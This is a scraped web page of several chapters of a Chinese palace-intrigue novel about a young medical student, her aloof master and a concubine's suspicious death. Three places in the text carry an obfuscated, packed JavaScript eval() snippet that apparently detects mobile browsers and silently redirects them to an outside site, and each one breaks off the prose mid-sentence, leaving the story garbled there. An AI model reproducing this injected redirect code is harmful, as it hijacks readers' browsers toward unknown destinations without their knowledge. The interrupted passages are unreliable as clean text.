;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊叶师妹,”介铃竖起大拇指,“你初来医科便懂得这么多,我一个做师姐的,学艺不精,实在惭愧!” 卫知瑶称道:“灼妹妹不仅是医科学子,还是叶少卿的门徒呢。” “原来是叶少卿之徒!”宋娘忙着赔礼,“难怪医术如此精湛。老身有眼无珠,失敬之处,还望叶姑娘海涵。” 叶灼吓得扶起她,“小儿挑食之病,没有太多门道。我不过懂得点皮毛,哪儿受得起这么大礼?再说了,宋娘您一点儿也不老,干吗总是老身、老身的?” 众人闻言笑了。叶灼吐了吐舌头,也跟着笑起来。 这一笑,更是神似。记忆深处的音容笑貌,渐渐与眼前之人重叠。可是这怎么可能呢?宋娘痴痴看着,难道真是她多心了么? 那眼神古怪极了,就好像……透过她的脸,在看另一个人似的。 叶灼不喜欢被这样看着,只好移开视线:“瑶姐姐当初,是为何选择进咒禁科?” “兴趣使然。”卫知瑶道,“我对医术不甚了解,但喜好养生之道,闲来无事便调调香、练练气。恰逢太医署重振,父亲觉得习医对女子有裨益,正可以凑一凑热闹。若能谋个一官半职,也好助王府稳固基业、东山再起。” 殿外传来脚步声,众人竖起耳朵。是谁上来也不通报一声,就这样闯进东宫? 宋娘刚要上去开门,门却被一脚踹开。 24.积羽(四) 青年男子巍立于门前,张开双臂。 “是爹爹!”纳兰褚寰翻身下榻,小兔似地扑上去。 “寰儿!” 周围丫鬟全都跪下来,就连介铃、卫知瑶也躬身行礼。叶灼心想,这人排场这么大,小郡主又叫他爹爹,莫非…… “这位是太子景殿下。”卫知瑶小声提醒,确认了她的猜想。 宋娘为他披了件衣裳,“太子殿下,今日怎的来了?” “父皇允了,可不是我偷跑的。我是光明正大来找寰儿。”纳兰景理直气壮道,抱起纳兰褚寰,转了一个又一个圈。 “好寰儿、乖寰儿,有没有想爹爹?” “想!昨日听闻爹爹回斋,还以为又要十天半个月见不到爹爹了……”纳兰褚寰嘟着嘴,竟然抽噎起来。 “哎呦喂,怎么哭鼻子了?”纳兰景伸手抹她的泪,“爹爹不是在这儿么。告诉你个好消息,近日爹爹读书大有所成,你皇阿爷答应下来,从今天开始,爹爹不用满二旬才能出斋了!” “真的?!” 纳兰景点头,“以后每隔三日,爹爹便来看你一回!” “太好了!”纳兰褚寰收了眼泪,“有爹爹在,还有这么多姐姐陪着,寰儿再也不是一个人了!” “恭贺太子殿下。”宋娘笑道。 父女相逢,如此温情的画面,真令人欣慰啊。叶灼望着他们,暖心之余,不免生出些艳羡。 纳兰景将怀中小人放下,点了点她的鼻头,“寰儿近日,有没有好好吃饭啊?” “有!”纳兰褚寰牵他的手,朝叶灼走来。“寰儿还认识了一个新朋友。” “给太子殿下请安。”叶灼有样学样地道。 忐忑抬眼,纳兰景眉头紧锁,好半天不见回应。奇了怪了,今日一个两个,怎么都喜欢盯着她发呆啊? “给太子殿下请安。”她又重复一遍。 “殿下,这位是太医署学子叶灼。”宋娘道,“叶姑娘医术甚佳,此来东宫,是为医治小郡主的挑食病。” 像是被封存的什么一触即发,即将要迸裂开来。纳兰景后退两步,瞳孔倏然睁大。 那道声音不断在脑海中回响,伴随尖锐的嘶鸣,直要将他撕裂。 ——“景……儿……快跑。” 这张脸的主人,为什么会出现在这里?为什么还阴魂不散?是“他”,“他”回来索命了? 众人注视下,纳兰景的表情从困惑、不可思议,渐渐转为惊恐。 “让她走。” 宋娘面露担忧:“殿下,您是不是又……” “本太子不要看到她,让她走!滚!” 纳兰景捂着头哭叫起来。 场面霎时变得混乱,宋娘抱起瑟瑟发抖的纳兰褚寰,边哄边道:“叶姑娘,实在对不住,劳烦你回避一下。” 介铃投来歉疚的目光,吩咐众仆从阖上门窗,跟着宋娘进了里屋。 而纳兰景像是刚经历极其痛苦的事情般,缩成一团蹲下。左右侍儿过来搀扶,他念念有词不知说着些什么。 门“砰”地一关,还没有明白过来怎么回事,叶灼已然被拉离殿内。 “是我行的礼数不够大么?”回想适才发生了什么,却是更加蒙圈。 就算太子看她不顺眼,她好歹治了他女儿,总不能被这样驱赶吧? “灼妹妹,事发突然来不及解释,还望你不要介意。”卫知瑶指了指脑袋,“太子殿下他,这里有点儿……” 如此这般,一切都解释得通了。 看起来快三十岁的人,行为咋咋呼呼,的确不太正常。叶灼心想,她才不跟一个傻子计较呢。 卫知瑶送叶灼回房以后,两人又聊了一些事。 大体关于纳兰景是怎么傻的,叶灼费了好大劲,总算听个大差不差。 原来当今皇后不能生育,太子的亲爹是先帝,他则是先帝过继给当今圣上的孩子。 “自从先帝去世,太子殿下悲伤过度,心智一直停留在小儿阶段。圣上怜其年幼丧父,对这位养子视如己出,又修筑流水斋,专供他读书。” 卫知瑶点起烛火,接着道:“小郡主出生以后,太子殿下这毛病好长一段时间没犯了,今日也不知怎的……其实殿下人不坏的,不过比寻常人顽劣些、好动些。下午的事,你千万莫要放在心上。” 叶灼躺在榻上,本来没多生气。不过有件事她倒是好奇。 “小郡主的娘去哪儿了?”她喃喃。 卫知瑶面色凝固,几乎一瞬间,端烛台的手顿住。 上回提起太子妃,她也是这样的表情。看来这个话题确实犯忌讳,叶灼坐起来摆手:“其实吧,我也没有很想知道……” “太子妃她,早在小郡主出生不久便过世了。”卫知瑶道,“你看到东宫园囿里的池塘没有?” “是那片落花池?” 卫知瑶点了点头,“那片池子原本不叫落花池。太子妃在那里自尽以后,皇后娘娘为纪念她,之后才赐的这个名字。” “自尽?”叶灼张口结舌,“为什么呢?” “据说是因她入主东宫,靠的不是什么正当手段。开始太子殿下并不喜欢她,怀上小郡主,也是因为……”卫知瑶附耳,悄声道,“她对太子殿下,用了药。” 叶灼瞪大了眼:“是我想的那个药么?” 卫知瑶没有说话,眼神表示肯定。叶灼下巴都要惊掉了。 “那她为何却要自尽呢?” “也许是这件事被人发现,有失颜面吧。生下小郡主后,殿下也不怎么去看她,一时想不开就……不过这些也是我听宫女们说的,真假尚未可知。你可别到处宣扬啊,要是被不怀好意的人听了去,后果很严重。” “放心吧瑶姐姐,我一定守口如瓶。” 夜里,叶灼翻来覆去,想了许多。 落花池、流水斋……好一个落花有意,流水无情。听闻那些娘娘出了嫁,一辈子便只能待在宫中,少有机会出去。那么冷清的地方,让她待一天都要寂寞死了。太子妃寻死,竟也变得可以理解。 可若消息属实,太子妃真是因爱而不得做了傻事,皇后娘娘为何还要纪念她,在起名上花这般心思呢?那太子有什么可取之处,值得她自轻至此? 只可怜他们的女儿,生下来娘死爹傻,又没有同龄的朋友。看来皇宫也不是人人幸福啊。 想到这里,叶灼暗下决心,一定要对纳兰褚寰好些、再好些。 卫知瑶离开的时候,夜已然深了。 借着月色幽光,勉强映出树下那人的轮廓。也不知他站了多久,竟然未有一丝动静。 “叶少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874330|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿若是来看望灼妹妹,不必多费口舌。该说的,我已经替你说了。” 卫知瑶步下阶墀,与他擦肩而过。 “阿灼她……” “请回吧。”卫知瑶打断道,“她不愿见你。” 叶无声没有回话。在乎或是不在乎,从他脸上读不出分毫。抑或是,根本没有任何表情。 “白日之事,并非叶灼的错。她跳下水不过是想救人。” “不必卫小姐提醒,”叶无声道,“阿灼绝无可能有害人之心。” “你既知道,当时为何……” “叶某身在官场,许多事难尽如人意。” “可你是她师父。”卫知瑶瞥他一眼,“她来上京为的是什么,叶少卿,你应该比我更清楚。若你真有这份心,却又护不住她,何苦现在来此惺惺作态?” 他仍是不语。卫知瑶淡然行了一礼,转身离去。 许是打架的缘故,醒来时,叶灼胳膊腿都有些疼。 懒洋洋爬起,余光瞥到窗台,多出个青釉色小瓶子。 靠近闻了闻,淡淡香气,好像是治疗跌打的伤药。是瑶姐姐放的么? 叶灼一阵暖心,没有多想便将它收进怀里。 课钟已经响过,叶灼蹑手蹑脚从后门溜进去。 屋外日头正盛,偌大的课室,却是空无一人。 难道她睡糊涂了?叶灼呆在原地傻眼,今天并非休沐日呀。 熟悉的身影从窗外经过,她主动迎上去:“介师姐!” 介铃驻足走来,情状有些着急。 “师姐你怎么会在这儿?现在不是上课时间么,博士和其他学子都去哪儿了?” “你来得正好……”介铃压低了声音,“今天早上,沈博士正到处找你呢。” “找我?” 介铃点了点头,“叶师妹,这回我可帮不了你了,沈博士看起来很生气。” 那眼神就好像她闯了大祸似的,叶灼有点儿毛骨悚然。 跟她到了广场,远远望过去,学子们聚集于此。 “叶灼是哪个?快喊她出来!”浑厚的中年女声,夹杂一口浓郁方言。 许昭昭指道:“娘,就是她!” 叶灼揉了揉眼睛。红衣女人约莫四五十岁,满头的金簪珠宝。膀大腰圆,长相彪悍,一眼便知这二人是母子。 沈拓后脚赔笑,满脸褶子堆成了扇面,“许夫人,有话好好说,学子私人纠葛不宜带入学堂。老夫还在授课,课下且行移步茶室……” “没什么好说的!”女人撒开手,气势汹汹朝她逼近。 “是你把我家昭昭打成这样?” 叶灼愣愣地点头。 女人的手倏地抬起。耳边刮起风,这一巴掌下去怕是能拍死人。 叶灼掐指一算打不过,不得已护住脸。 “啪。”响声清脆落地。怎么一点儿也不痛? 睁开眼,只见叶无声挡在她身前。 围观众人,包括沈拓在内,皆是一脸惊愕。 “师父!”叶灼惊呼出声。 叶无声鬓发散乱于面颊,这一巴掌,他是硬生生替她挨下了。冷白如雪的皮肤染上红印,嘴角仍挂着笑。 “不知许夫人大驾光临,有失远迎。”他浅作一揖,“敢问许夫人,所为何事?” 25.积羽(五) “叶某今日本要亲临贵府,怎劳您亲自跑一趟?” 传闻京兆尹是出了名的妻管严,其妻悍匪。今日一见,果然名不虚传。叶灼打了个寒噤,这架势,只差没扛把大刀来砍人。 “我再不来,我家昭昭就只剩半条命了!”她将许昭昭揽过,怒气冲天,“你瞧瞧,什么样的歹毒心肠,竟然下如此狠手,把他打成这个样子!” 适才没有注意他的脸,叶灼“噗嗤”笑出声。怎么肿得像个猪头啊? 许母见状暴怒:“你还敢笑?!” 叶灼忙捂住嘴,往叶无声身后躲了躲。 “叶少卿,我将我家昭昭送来太医署,是来读书,不是来受气的。我家昭昭从没有受过这般委屈,此等恶棍,断不能留!” 叶灼指着自己,忍不住发话:“他才是恶棍,受气的是我好不好?” “这儿没你说话的份。”刹那眸光锋锐,冷得她缩回脑袋。 “许夫人少安毋躁。”叶无声道,“对于扰乱学风、有违规章者,太医署自会秉公处置。” “秉公?何来秉公?”许母绕到他身侧,语调饱含讥讽。 “我都听我家昭昭说了。早听闻叶少卿名下有一门徒,应该就是这个丫头吧?” 叶无声微微一笑,“是便如何?” “俗话说得好,狮子老虎也护犊。当着众人的面,叶少卿如此袒护她,敢说没有徇私之嫌?” “我从不偏袒任何一位学子。” “好一个从不偏袒!”许母轻嗤,“这野丫头打了我家昭昭,叶少卿非但不予以严惩,反将她留在太医署。这都不算偏袒,要怎样才算偏袒?!” “叶灼不过是众弟子中的一个,和别人没有什么分别。她动了手不错,我也处罚了她。可起初是谁挑起事端,许夫人,不妨问问在场学子。再者……” 他长袖轻扬,举起叶灼的右手。 袖口顺着她小臂滑下,露出来大片青紫。 “她伤的,难道会比许公子轻么?” “这……”许母瞪了许昭昭一眼,“是你干的?” 许昭昭哭丧着脸:“娘,她要打我,我不能不还手吧?” “就算是如此,”许母露了怯,咳嗽两下。“我家昭昭那是正当防卫,小儿之间打闹,能不受伤么!” 叶灼猛地抽手,“许夫人,你刚刚还在说我欺负他,怎么这会又变成小儿打闹了?” “阿灼年幼口不择言,让许夫人见笑。”叶无声拦在她身前。“贵公子伤在皮肉,由我来处理,一日便可痊愈。若有招待不周之处,稍后叶某当自备薄礼,移步府上。” 说着向许母走近。身形交错,接下来的耳语,令她一阵恶寒。 “叶某听闻,两日前的寿宴,国舅曾许京兆尹吏部尚书之位?” 许母脸色一下变得惨白,“你、你怎知……” 叶无声仍挂着礼貌的笑,“念在令夫曾为修葺太医署出一份力,叶某不敢不给您留台阶下。许夫人是个明事理的人,凡事点到为止,对你我都好。” 许母眼神躲闪,额角沁出汗。她只知叶无声是圣上身边的宠臣,想不到这小子上任太常寺少卿不久,背后竟有江国舅庇护。看来不小心捅了娄子,事关一家子的前途,还是尽早息事宁人为妙。 “不知许夫人,意下如何?” 许母讪笑两声,“既然叶少卿有这份心,就当是误会一场。昭昭,我们走。” “娘!还没给孩儿讨回公道,怎就走了?”许昭昭急得跳脚。 她扯过许昭昭的耳朵:“少废话!尽给你娘惹事……” “许夫人,您慢走啊。”沈拓腆着脸相送,朝这边甩了个眼色,连连摇头,出了太医署。 这样的表情,叶灼不止一次看见,当然不会当一回事。沈博士不喜欢她,她更是没兴趣听这老头的课,谁也不喜欢谁,挺公平的。 “整日不学无术,真不像是叶少卿的徒弟。”旁观学子有人云云。 “你说她是走后门进来的,会不会有什么背景?” “我看不然。不知你看见没有,她刚来那天穿的,那叫一个又脏又破,比街边的叫花子还寒碜。叶少卿要是真在乎她死活,能丢下她三年不管不顾?” “不过我听说,她是和世子殿下同到的上京。他们俩关系定不一般,她来京城,会不会另有所图?” 叶灼杵在原地,攥紧了拳头。只听介铃扯着大嗓门喊:“都别看了啊,上课了!” “真没意思,还以为又要打架呢……”一番疏散,学子们扫兴回了课室。 此间空地,只余师徒二人。 “师——”叶灼行礼,想了想改口,“叶少卿。” 叶无声朝她走来,冷脸道:“昨日为何不来上课?” 叶灼垂眸,抿了抿嘴。总不能实话实说:因为逃师父的课,赖床赖了整日吧? 见她一脸犯了错等挨骂的样子,叶无声叹了口气。 “以后,不用拘泥于称呼,喊你习惯的便是。” “是。”她眸光忽闪,似有些意外。小手抬起却是无处安放,最后指了指自己的脸。 “师父,疼么?” 叶无声微微摇头。 “那就好。”她顿了顿,“师父怎知……我右手这处有伤?” “你与学子起争执时,为师曾留意过。” 叶灼怔了一瞬,原来师父并不是全然不关注自己呀。虽然心有不甘,想到他替自己挨下那一巴掌,却有点儿不是滋味。 忸怩半晌,终还是道:“许昭昭的事,我跟您去道歉就是。” 叶无声摇了摇头:“不必。” “为什么?”叶灼不明白了。是他嫌带上自己丢人么? “许夫人那头,我已经打过照面。此事就此了结,不会再有人找你的麻烦。” 叶灼不由得想,师父居然能和那种人讲道理,还生生把她说服了,真是厉害。要不是师父拦着,刚才定又是一场腥风血雨。 “话说回来……您与许夫人说了什么呀?她刚刚巴不得将我生吞活剥,为何这么快就不计较了呢?” “没什么。”叶无声一脸淡然,“不过几句客套话罢了。京兆尹掌治京师,又有薛嫔作倚仗,为师能护你一时,却护不了你一世。上京不比古川,你记得不能再像以前那般任性,尤其不可轻易动用拳脚。往后行事,务必谨慎。” “是,师父。” “旁的事,等空了,为师再与你细谈。先去上课吧。” 课钟敲响,学子们各自归位,仍在叽叽喳喳。叶灼想着刚才的事,抵着下巴心不在焉。 从前她坚信一个原则:受人欺负就要打回去,拳脚才是硬道理。 可自从来了上京,拳脚好像行不通了。现在她算是明白了,上京人斗的是心眼子,斗的是权势,哪怕一句无心之失,惹了谁不快,便要想方设法算计你、赶走你。于是说话做事总要这小心那小心,非但保护不了自己,还连累师父遭人诟病。 她是不是……一开始就该听师父的话,乖乖回古川去? “因为沈博士出公差,这堂课户外实践,由我代授。”介铃揣着本书,麻花辫垂于肩头,慢悠悠进了 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叶灼定睛一看,手里的植物与半夏相似,竟是几株较小的天南星。叶片都似鸟足分裂,同属一科,细看却略有不同。譬如天南星呈伞状展开,而半夏只有三片叶子。两种药材毒性不同,药性也有所不同。 适才没仔细看,竟然犯下这种低级错误。不由敲了下脑袋,“谢师姐提醒。” 额头传来一阵温凉。介铃担忧道:“怎么看起来心事重重的。是不是因为刚才的事?许氏一家仗着在京城的财势,向来蛮不讲理。别理会那些闲话,师姐信你的为人。” “师姐,我没事。” “我不信。要真没事,以你的能力,岂会分不清半夏和天南星?”介铃转念一想,“那,可是因为在东宫的事?那日师姐不是故意的,实在是事出有因……” “太子的事,我已经听瑶姐姐说了。”叶灼搭上她的手,“好啦介师姐,我真的没事。若不是你提起,这一茬我都快忘了。那边还有其他学子要教,师姐去忙吧,不用管我。” “真的没事?”她仍是狐疑。 叶灼扯出一个灿烂的笑:“真的!” “好吧。你在太医署有什么难处,尽管告诉师姐,凡是力所能及,师姐必定帮你!” 叶灼点头应下。摘够十株草药后,随学子们到尚药局研磨。 半夏具有毒性,炮制能够解毒。炮制品种选取姜半夏,需要先用白矾浸泡,至内无干心,再取生姜切片与之共煮。 叶灼用药碾将白矾压成粉末,趁煎药这步,发了一会儿呆。 哪想火候没掌控好,锅盖“腾”地跳起。吓得她赶紧蹦起来扑火,被呛得连连咳嗽。 等介铃走过来看,锅中已是焦糊一片。 叶灼干笑两声:“看来今日,属实有些不在状态……” 突然,不远处一阵喧哗。 “不好了!有人晕倒了!” 角落里的炉灶被团团围住,陆续有学子上前凑热闹。两人将手里的事撂下,齐声道:“去看看。” 墙边的少女,鬓发湿漉漉贴于脸颊,像个熟透了的水蜜桃。手中紧攥着搅拌用的药杖,跟前炉火早已熄灭,看来昏迷了许久。胡广抱着她坐在地上,一脸的不知所措。 “是薛小姐!薛小姐今日不是因病告假么?怎会突然晕倒在这里?” “我、我来时便看到薛懿躺在角落里,许是天气太热,伤暑了。”胡广磕磕巴巴说道,“我看、看尚药局有一些成药,给她服了藿香正气散,不知怎的,就是不醒啊!” “藿香正气散?”叶灼拨开人群,“你怕不是个二百五吧?乱用药是要出人命的!” 26.积羽(六) “叶、叶灼,这都什么时候了,你还在这里说风凉话!”胡广道。 叶灼懒得搭理,首当其冲上前。胡广忙护住薛懿。 “许老大都、都被你打回家了,你还想对薛小姐做什么?” “啧,真是好心被当驴肝肺。”叶灼道,“你再这样耽搁下去,她人都要凉了!” “你、你少乌鸦嘴了,忽悠谁呢!” 见他撒手不放,叶灼气不打一处来,只好解释:“用药讲究对症,伤暑也分阴阳。你瞧她大汗淋漓,脱水症状明显,分明是热毒入侵所致的阳暑。用藿香正气散,只会助长热毒,加重病症!” “叶师妹说得没错。”介铃道,“藿香正气散只适用体有伤寒,是驱寒的散药,不可贸然服用。” 胡广傻了眼。叶灼即刻撇开他,扶起薛懿。 介铃过来帮忙,背着她往书房方向去。 “先用湿毛巾擦拭身体,敷于额头。再刮痧行血,发散郁热。”叶灼念叨着,手上动作片刻未停。 暑邪损耗津液,当清暑益气、养阴生津。于是开了一剂白虎汤,吹凉了喂她服下。 介铃提着桶冷水进来,见叶灼把所有事打理得一清二楚,好像没有什么能帮上忙的。于是坐下来,低声问:“你不怕这伙人又讹上你?” “人命关天,总不能见死不救吧。”叶灼拧着毛巾,坦然道。 介铃瞧着她良久,摇头:“真不知该说你太善良还是……” “太傻?”叶灼笑了笑,将碗放下来。 “大抵,是职业病吧。从前在古川,经营丹青阁的时候……师父常与我说,我们行医的在这世上,不在乎赚得多少,治病是最要紧。哪怕多耽搁一刻,病人的性命便危急一分。故而碰上了,便也不多想,能救一个是一个。” 一炷香功夫,薛懿缓缓睁眼。 “薛小姐,你醒了!”两人焦灼望着她,“有没有感觉好点?” 薛懿侧过头,嘴唇翕动。左手颤巍巍伸出,食指紧绷着,不知指向哪。 叶灼握上她的手,“你要什么?” 她眼中夹杂着些许困惑。像是不能理解,亦或是不敢相信。闪过一丝别的什么,倏地睁大。 “是你……?”使力攥了回去,额上的毛巾滑落。薛懿撑住枕头,艰难起身。 “你身子还虚着,姑且先歇着为好。有什么事之后再——” 不等把话说完,薛懿揪住她手腕:“拜托你,救救我阿姊!” 这是薛懿第一次,也是唯一一次向她低头。 叶灼不知道的是,迄今为止,她人生中仅就低过这么一次头。 薛懿出身名门,向来傲气。 傲气是自然的。商贾世家千金,打小娇生惯养,没受过甚的委屈。 京城七大皇商之一的锦绣绸缎庄,其丝绸布匹供给皇室专用,名下更有数万亩土地。薛府三位千金,薛懿年纪最小,大女儿本为妻族崔氏所生,一朝入宫擢选,荣升秀女。 京师动乱后,上京突发瘟疫。崔氏满门,无一幸免。 ——除却彼时,尚在宫中候选的崔齐。 得知恶耗,薛家怜此孤女年幼丧亲,代为接济。崔齐就是这样被过继给薛家,改了薛姓。 齐为秀女时便颇得圣宠,一路进封为妃,权倾后宫。 也因着当年善举,薛氏家族沾光,成了皇亲国戚。 “阿姊从小待我最好,本不该是这般遭遇。” 紫烟袅袅,轻纱罗帐。 榻上女子散着发,双目紧闭。尽管未施粉黛,仍旧清丽脱俗,衣着却不加装饰。连同这冷冷清清的宫殿,素得让人难以想象,她竟是薛嫔。 “万邦朝会时,阿姊误食腐果小产,之后身子骨一直不好,终日在掖庭休养。今晨我过来探亲,本想给她送些吃的,来时便看她卧于榻上昏迷不醒。叫来的太医束手无策,都说阿姊是服毒自尽……可是怎么可能呢?阿姊上个月还答应给我留宫中琼酿,她怎么可能自尽?” 叶灼把过脉,皱起眉,“所以你就自己去尚药局抓药?可你去时神志清醒,按理说不该久留,怎么会晕倒在那里呢?” “我也不知……我当时煎着药,一阵烟过来,突然就什么都看不见了。之后模模糊糊觉得热,醒来便看见了你。”薛懿含泪,跪身上前。 “叶灼,我知道你医术好,也知你对我怀有成见。往日我助许氏作恶,有诸多不得已,你心中有成见是应该的。可阿姊是无辜的,她从未害过谁,求你救救她!” “你快起来。”叶灼道,“不是我不想救,砒霜乃是剧毒,她服的剂量又不小……毒已经蔓延全身,怕是无药可医。” 薛懿瘫坐在地,满眼不可置信,“你、你别唬我了,怎么会呢?” 说着扯了扯她裙摆,哽咽道:“明日我便自请离开太医署,以后再不会出现在你面前。我保证,只要你能救活阿姊……” 叶灼咬咬牙,心中一阵难受:“她已经是死脉了!” …… 掖庭一隅,凋落一抹暗红色。 不比而今的无人问津,那片片剥落的凄清,曾于太阳普照下光芒万丈。 奈何秋海棠不会爬墙,肆意生长的结果,无非将自己推向深渊。待她回过神,始觉自己错生宫墙内,再如何艳丽,都不过蜗居于此,风光一时。 可除却薛嫔,还有千千万万朵“秋海棠”。 她们的命运,又当走向何方? 有时候,叶灼希望自己是神仙在世。 挥挥手就能救苍生,从阎王爷手里抢人,不用像现在这般无助。 薛嫔的尸首被抬走的时候,薛懿追着跑了一路,哭声响彻掖庭。她却只能站在原地,什么都做不了。 除了无力,还是无力。 无论死于后宫争斗,亦或是自杀,薛嫔之死都显得蹊跷。还有薛懿那番话,她帮着许昭昭出于“不得已”,又是什么意思呢? 那之后,叶灼再没见过薛懿。 听闻她与薛家大吵了一架,竟然闹到断绝关系的地步。之后她被薛府送离上京,回了青州老家。 想起来令人唏嘘,可自己一个局外人,不好问具体缘由。 叶灼打着呵欠找茅厕。这天起夜,猫叫声一如既往。 寒夜凄凄,更像是女人啜泣。她驻足走过去,声声细微逐渐放大,直至变得格外清晰。 看来就藏在这堵墙后面。 于是搬来块大石头,踮起脚尖踩了上去。 在这里住了这么久,叶灼还从未见过隔壁院落长什么样子。听介师姐说,这里以前是藏经阁,因为年久失修,房梁塌落,砸死了一名学子。太医署翻新后,这里成了杂物间,已经许久没有人进去。 果不其然,杂草长得比墙还要高了。 隐隐可见对面的槛窗,风舌吹过,上下摇晃耷拉,吱呀呀叫着。窗下横七竖八堆放着许多木桶,好像是储粮的容器。 “咳咳。”看来废弃已久,灰尘有些呛鼻。 什么东西从墙下窜出来。叶灼将油灯支得高些,想要看得清楚。 灯火映照下,一张女人脸乍现。 “啊!”手一松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907272|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,油灯落地。 女人脸色发白,嘴角勾起诡异的笑:“上一个是逦美人,这一个是薛嫔!薛嫔死了,是“她”害的……下一个会是谁?” 想要说点什么,奈何那双手死死掐住她,发不出一点声音。不等她喊出救命,双脚已然离了地。 “逃不掉……我逃不掉,你也逃不掉!谁都逃不掉!!”女人凄厉喊着,突然又开始哭,接着又哭又笑。因为头发披下,遮住了相貌,仅能看见她那双眼睛。 那是双极为恐怖的眼。 眼白布满血丝,瞳孔缩起,像两个血糊的大洞。挂于眼角边,是两行干涸的泪。 叶灼蹬着腿,用力掰女人的胳膊。被掐的人分明是自己,她的眼神,却仿佛比自己还要惊恐。 黑暗湮没了视野。渐渐地,整个人往下沉去。 疯女人消失了,猫叫声消失了。 什么都没有了。 “啊!!”叶灼从睡梦中惊醒,大口喘着气,浑身汗湿。 桌案上的纸湿糊糊黏在脸颊,取下来吹了吹,字迹都糊成一团了。 屋内陈设未变,仍是她的小房间。 这个梦……也太真实了吧? 还没有缓过神,她伸手触摸自己的喉咙。 检查一下,没有异样。 咽了咽口水,嗓子如刀割那般疼。想起来找水喝。 刚下床,门外传来异响。 “谁?!” 屋外没有回应。夜游侠在笼中“吱吱”叫着,四下死一般的沉寂,静得能听见她咽口水的声音。 叶灼抄来把扫帚,躲在门后。 这世上哪有鬼?叶灼想,就算有,冤有头债有主,恶人那么多,总不会先来抓她。 这般想着,她鼓足勇气。 拉开门,叶无声正立于门前,一身锦衣漆黑如墨,与夜色融为一体,长发高高束起,看起来干净利落。月光从他身侧钻过,暗影浮动,他手里什么都没拿。就连灯也没拿。 “师……父?”从没有见过师父这般装束。叶灼呆了好半天,怀疑是不是自己看错了。 掐把脸,确认没看错,莫名松了口气。“这么晚了,您怎会在这里?” 他似乎刚刚要走,同样愣了那么一瞬。 “噢,我本是来夜巡。听你这里有动静,过来看看。” 夜巡?连灯都不拿,师父眼力可真好。“对了师父,您刚刚,有没有听到奇怪的动静?” “你指什么?”叶无声平静望着她。 “比如,女人哭声之类的?” 叶无声摇了摇头。“可是发生什么事了?” “没什么,兴许真是梦罢。”叶灼呵呵笑道,“我先回屋了,师父早些睡。” “阿灼。”就要掩门,叶无声叫住她。 “怎怎怎么了?”叶灼一个激灵,牙齿咬得咯吱作响。是她又犯什么错了?自从许母来闹事,这些时日她一直安分守己,没招惹过谁啊。还是她天天上课睡觉的缘故? 叶无声叹了口气。这丫头,怎的就这么怕他? “你的脸……”他伸出的手滞于半空,手指微微收起。压下嘴角,“你在做什么?” 叶灼指了指桌面,“沈博士罚我抄书,还没抄完呢……” 难怪,像只小花猫一样。 “最近伤可好些了?” “回师父,好多了。” “那就好。”话语流露一丝欣慰。 幸好,她用了那瓶药。 “为师想了许久,来上京前不曾教你的,是该一并补上了。” 27.积羽(七) 一摞书堆成小山峰,直挺挺摆在面前。叠起来摇摇欲坠,足有半个她那么高。 这辈子没见过这么多书,叶灼看傻了眼。 “师父,这些……不会都是我要看的吧?” “不错。”叶无声眉尾横挑,“怎么,不够?” “没没没,够了、够了。”叶灼促狭道,窝过那一摞,差点儿抱不住。 冷不丁掉落几本,叶无声顺手接下,递给她。 堆顶是本《礼记》,拿起来翻几页,内容简直是天书。 “你既选择留在上京,首要之务是将礼仪规制烂熟于心。即日起,医书你不必再读,上课时间专攻四书五经。两月之内,通读这些。” “啊,两个月?!” 叶无声对她侧目而视:“你嫌多了?” 叶灼咂了咂舌,“弟子不敢……” “每逢月、水、金曜日,酉时我会在竹苑处理公事。有不懂的,课下可以来问我。”叶无声顿了顿,道,“近来在太医署,生活可还适应?” 突如其来的关切,让她有些无所适从。师父今日抽的什么风? 就要谢过,试想他丢下自己这么久,所做的种种……重逢时扎晕了她,将她绑上车送离上京;遭人冤枉时,尽管说是为保护,却于人前那般曲解她…… 三年来的苦楚,尽数涌上心头,逼得叶灼把话咽了回去。 一个巴掌一颗糖,就能当作无事发生么? 转念又想,她在师父眼中,本就是名普通弟子。既与其他学子无甚的区别,更不曾有过什么承诺。她自幼没了父母,师父不辞辛苦将她拉扯大,已是仁至义尽。分明是她不顾阻拦非要来上京,师父他,又有什么错呢? 两种声音于心间撕扯,让叶灼几度不知,该以怎样一种姿态站在他面前。 “现如今师父另外收了徒,私下关照弟子,只怕有所不妥。为免得连累名节,师父还是……” “谁告诉你,我另外收了徒?” 她闻言怔地抬眸。“师父都许了江小姐首席医官之位,她是你的新弟子,难道不是这样么?” 叶无声愣了愣神,一贯平静的脸上,少见地有了一丝表情。 原来她三番五次躲瘟神一样躲自己,竟是因为这个? 她竟一直以为自己收了别的徒弟? “阿灼,你误会了。”他扶额,“我只许诺收首席医官为徒。业成式未至,江弗及并未成为首席医官,何来收徒之说?” “那为何每每见到师父,江小姐总在您身边形影不离呢?” “江弗及是针科助教,公务上与我偶有交接。加之她父亲扶持兴修太医署,商议营建诸事时,由她代为出面。” 叶灼瞠目结舌,仍是不敢相信:“当……当真?” 